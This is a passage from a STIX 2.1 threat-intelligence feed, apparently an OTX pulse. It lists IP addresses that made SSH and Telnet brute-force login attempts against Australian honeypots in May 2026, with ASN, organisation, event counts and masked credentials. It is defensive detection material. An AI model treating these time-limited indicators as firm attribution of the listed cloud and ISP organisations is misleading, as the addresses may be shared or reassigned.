      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 21100. Organisation(s): Green Floid LLC.",
      "id": "indicator--e4330c67-a161-400e-a0ab-b947df1af1e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.123.219.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--62f80315-af4a-4506-b8ea-a3f14268ed67",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.59.127.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--a83af207-036e-4e03-8e94-a6c4a48a27c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.195.250.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--5745989c-7686-492f-9163-e9991a46d7e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.144.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T19:15:10.000Z",
      "valid_until": "2026-06-08T19:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--11e9a84f-bad4-43d6-8551-dd914f508b9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.39.131.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 157. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 46997. Organisation(s): Black Mesa Corporation.",
      "id": "indicator--5a8cc81c-8ff1-4c56-8f6e-98a111395ae5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.195.101.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--cf489a12-8b15-4942-939a-7df5f91723d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '140.238.160.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--b24fcce2-e108-492c-a99a-20f26f21d641",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.234.217.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--adccc6d7-22a5-4edd-a44a-d16e35622750",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.77.158.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 69. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6, b******************************************************************************************************************************************'. Passwords observed (masked): **, A*******************p, C********9, H**********************3, b*******************'.",
      "id": "indicator--4e4960b5-0acb-424b-b582-07aab58d0f38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.205.107.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--97c107e8-688f-4da3-a4d8-6b137a5df46b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.55.194.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--dbc7dcad-99d2-41ed-a377-95ca1444ca6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.36.89.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--502f8446-9fe0-4aea-842b-8baf9c2a788a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.248.176.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T20:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--8cbf4bc5-6dcd-41bd-b4f3-8af6d8b35ce2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.164.102.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T20:15:12.000Z",
      "valid_until": "2026-06-08T20:15:08.000Z"
    },
    {
      "created": "2026-05-07T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17621. Organisation(s): China Unicom Shanghai network. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3c6d9c53-7968-45bc-989b-6a32b249be18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.75.230.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T21:15:10.000Z",
      "valid_until": "2026-06-08T21:15:08.000Z"
    },
    {
      "created": "2026-05-07T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--79a3e75c-7894-4735-8356-d23147c3f9ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '108.254.64.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T21:15:10.000Z",
      "valid_until": "2026-06-08T21:15:08.000Z"
    },
    {
      "created": "2026-05-07T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d3b5cbe5-46dc-4445-8aaa-ea4165f42e93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.89.133.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T21:15:10.000Z",
      "valid_until": "2026-06-08T21:15:08.000Z"
    },
    {
      "created": "2026-05-07T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 4780. Organisation(s): Digital United Inc..",
      "id": "indicator--c04f62a4-8079-4bae-8051-da8d1fb1beb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.182.179.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T21:15:10.000Z",
      "valid_until": "2026-06-08T21:15:08.000Z"
    },
    {
      "created": "2026-05-07T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262691. Organisation(s): CONECTA LTDA..",
      "id": "indicator--961332dc-137e-44fb-9937-a0bc08979f91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.72.23.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T21:15:10.000Z",
      "valid_until": "2026-06-08T21:15:08.000Z"
    },
    {
      "created": "2026-05-07T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b244d925-f849-4a51-bca0-5d4535183f26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.202.9.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T21:15:10.000Z",
      "valid_until": "2026-06-08T21:15:08.000Z"
    },
    {
      "created": "2026-05-07T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--75a8c55a-e94a-4f39-8700-3d296a65cf12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.86.104.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T21:15:10.000Z",
      "valid_until": "2026-06-08T21:15:08.000Z"
    },
    {
      "created": "2026-05-07T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--c9898f13-bb9e-4642-b6e9-9687cebf91ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.194.235.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:15:05.000Z",
      "valid_until": "2026-06-08T22:15:03.000Z"
    },
    {
      "created": "2026-05-07T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208324. Organisation(s): Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist.",
      "id": "indicator--8c609c0f-1b94-40f1-ba4e-49e35798777b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.244.154.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:15:05.000Z",
      "valid_until": "2026-06-08T22:15:03.000Z"
    },
    {
      "created": "2026-05-07T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b5e7224b-0203-4395-8066-1876a4521d8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.152.220.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:15:05.000Z",
      "valid_until": "2026-06-08T22:15:03.000Z"
    },
    {
      "created": "2026-05-07T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b940240c-c2d4-4006-bea9-a51ff2e1ffb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:15:05.000Z",
      "valid_until": "2026-06-08T22:15:03.000Z"
    },
    {
      "created": "2026-05-07T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--7dcd5e4f-e596-4451-80e0-919e965d26dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.254.184.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:15:05.000Z",
      "valid_until": "2026-06-08T22:15:03.000Z"
    },
    {
      "created": "2026-05-07T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 59588. Organisation(s): Al Atheer Telecommunication-Iraq Co. Ltd. Incorporated in Cayman Islands.",
      "id": "indicator--061e5015-3712-4447-9820-682d3a3b6a0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.153.118.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:15:05.000Z",
      "valid_until": "2026-06-08T22:15:03.000Z"
    },
    {
      "created": "2026-05-07T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--f677878c-0b7b-41cd-8e8f-8261c5256df2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.147.78.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:15:05.000Z",
      "valid_until": "2026-06-08T22:15:03.000Z"
    },
    {
      "created": "2026-05-07T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): r**t. Passwords observed (masked): 9********0.",
      "id": "indicator--ed363d9c-ec73-4b28-a17e-74dd1142a952",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:15:05.000Z",
      "valid_until": "2026-06-08T22:15:03.000Z"
    },
    {
      "created": "2026-05-07T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): d****n. Passwords observed (masked): t*****d.",
      "id": "indicator--012ab29f-76dd-44e6-b1a3-94065632e3d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T22:15:05.000Z",
      "valid_until": "2026-06-08T22:15:03.000Z"
    },
    {
      "created": "2026-05-07T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--ebe6629a-75ec-492a-867b-b7ff9deadba8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.102.194.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T23:15:10.000Z",
      "valid_until": "2026-06-08T23:15:08.000Z"
    },
    {
      "created": "2026-05-07T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f82365db-44db-4311-b4e7-e841f0b2787a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.229.242.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T23:15:10.000Z",
      "valid_until": "2026-06-08T23:15:08.000Z"
    },
    {
      "created": "2026-05-07T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: AU. ASN(s): 136557. Organisation(s): Host Universal Pty Ltd. Passwords observed (masked): 1*****7.",
      "id": "indicator--deffb546-16a2-484c-9cd5-4d36c55ff9a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.150.139.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T23:15:10.000Z",
      "valid_until": "2026-06-08T23:15:08.000Z"
    },
    {
      "created": "2026-05-07T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--0c7675f9-5357-4e4d-8163-1b8e02ead686",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.208.115.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T23:15:10.000Z",
      "valid_until": "2026-06-08T23:15:08.000Z"
    },
    {
      "created": "2026-05-07T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 201089. Organisation(s): Experience Infinity technology Internet Service Company Ltd..",
      "id": "indicator--03b217b2-fa82-4b38-ae67-0b2d701ebe66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.72.40.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T23:15:10.000Z",
      "valid_until": "2026-06-08T23:15:08.000Z"
    },
    {
      "created": "2026-05-07T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1b8ffd11-a67c-4127-a8ad-7f813476918b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T23:15:10.000Z",
      "valid_until": "2026-06-08T23:15:08.000Z"
    },
    {
      "created": "2026-05-07T23:15:10.000Z",
